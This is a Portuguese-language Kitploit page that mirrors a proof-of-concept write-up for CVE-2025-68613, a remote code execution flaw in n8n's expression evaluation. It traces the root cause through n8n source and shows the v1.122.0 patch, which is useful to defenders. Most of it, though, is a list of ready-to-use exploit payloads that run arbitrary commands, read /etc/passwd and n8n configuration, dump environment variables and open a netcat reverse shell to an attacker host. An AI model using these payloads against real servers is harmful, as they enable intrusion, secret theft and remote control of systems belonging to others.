Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-68613-poc-via-copilot — Análise técnica detalhada e prova de conceito para CVE-2025-68613, uma vulnerabilidade crítica de RCE na avaliação de expressão do n8n via bypass de contexto this em IIFE. Inclui análise de causa raiz, vetores de exploração e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Análise técnica detalhada e prova de conceito para CVE-2025-68613, uma vulnerabilidade crítica de RCE na avaliação de expressão do n8n via bypass de contexto this em IIFE. Inclui análise de causa raiz, vetores de exploração e orientações de mitigação.

Ver Repositório
10há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

✅ CVE-2025-68613 Análise Completa da Vulnerabilidade RCE de Injeção de Expressão no n8n

Data: 23 de dezembro de 2024 Status: ✅ RCE totalmente verificado com sucesso Pontuação CVSS: 10.0 (Crítico)


🎉 Payload RCE de Sucesso

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Resultado da execução: Retornou com sucesso informações do usuário do sistema (ex.: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Análise Detalhada do Princípio da Vulnerabilidade

Vulnerabilidade Central: Contexto this da IIFE (Função de Execução Imediata) não Sanitizado

1. Fluxo de Avaliação da Expressão

Entrada do usuário
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Criação do objeto de contexto data
  ↓
data.process = referência real do objeto process
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Crítico: this = data
  ↓
Execução da função de execução imediata
  ↓
this.process.mainModule.require ← ⚠️ Acesso ao require real
  ↓
Carregamento do módulo child_process
  ↓
execSync('id') ← 🔥 RCE Completo!

2. Localizações-chave do Código

Localização 1: Criação do Contexto de Dados

Arquivo: packages/workflow/src/expression.ts Função: Expression.resolveSimpleParameterValue() Linhas: aproximadamente 230-290

// Geração do proxy de dados
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Ponto de vulnerabilidade 1: adicionar objeto process a data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problema: Embora apenas algumas propriedades sejam expostas aqui, é passada uma referência de objeto
// O objeto process real ainda pode ser acessado através da cadeia de protótipos ou outros meios
Localização 2: Avaliação pelo Tournament

Arquivo: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Ponto de vulnerabilidade 2: passar data como this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Ponto de vulnerabilidade 3: usar new Function para criar funções
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Localização 3: Sanitização Ausente de this

Arquivo: packages/workflow/src/expression-sandboxing.ts

Antes da v1.122.0:

// ❌ Sem FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Array vazio, sem sanitização de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Após a v1.122.0:

// ✅ Adicionado FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← Novo hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implementação do FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Reescreve todas as expressões de função, vinculando explicitamente this a um objeto seguro
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Transforma function() { ... } em function() { ... }.bind({ process: {} })
		}
	});
};
Localização 4: Lista Negra de Propriedades Incompleta

Arquivo: packages/workflow/src/utils.ts Função: isSafeObjectProperty()

Antes da v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Faltam mainModule, binding, _load

Após a v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Novo
	'binding',       // ✅ Novo
	'_load'          // ✅ Novo
]);

💣 Técnicas de Exploração Completas

1. RCE Básico

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Executar Comandos Arbitrários

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Acesso ao Sistema de Arquivos

// Ler arquivos sensíveis
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Listar diretórios
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Ler configuração do n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Listar diretório atual
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Vazamento Completo de Variáveis de Ambiente (combinado com descobertas anteriores)

// Acesso direto via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Ou usando método já conhecido disponível
{
	{
		JSON.stringify(process.env)
	}
}

5. Acesso à Rede (Preparação para Reverse Shell)

// Verificar ferramentas de rede
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obter interfaces de rede
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Perigoso! Apenas para testes autorizados)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Resumo dos Resultados da Validação da Vulnerabilidade

✅ Vetores de Ataque Confirmados como Exploráveis

Baixar ferramenta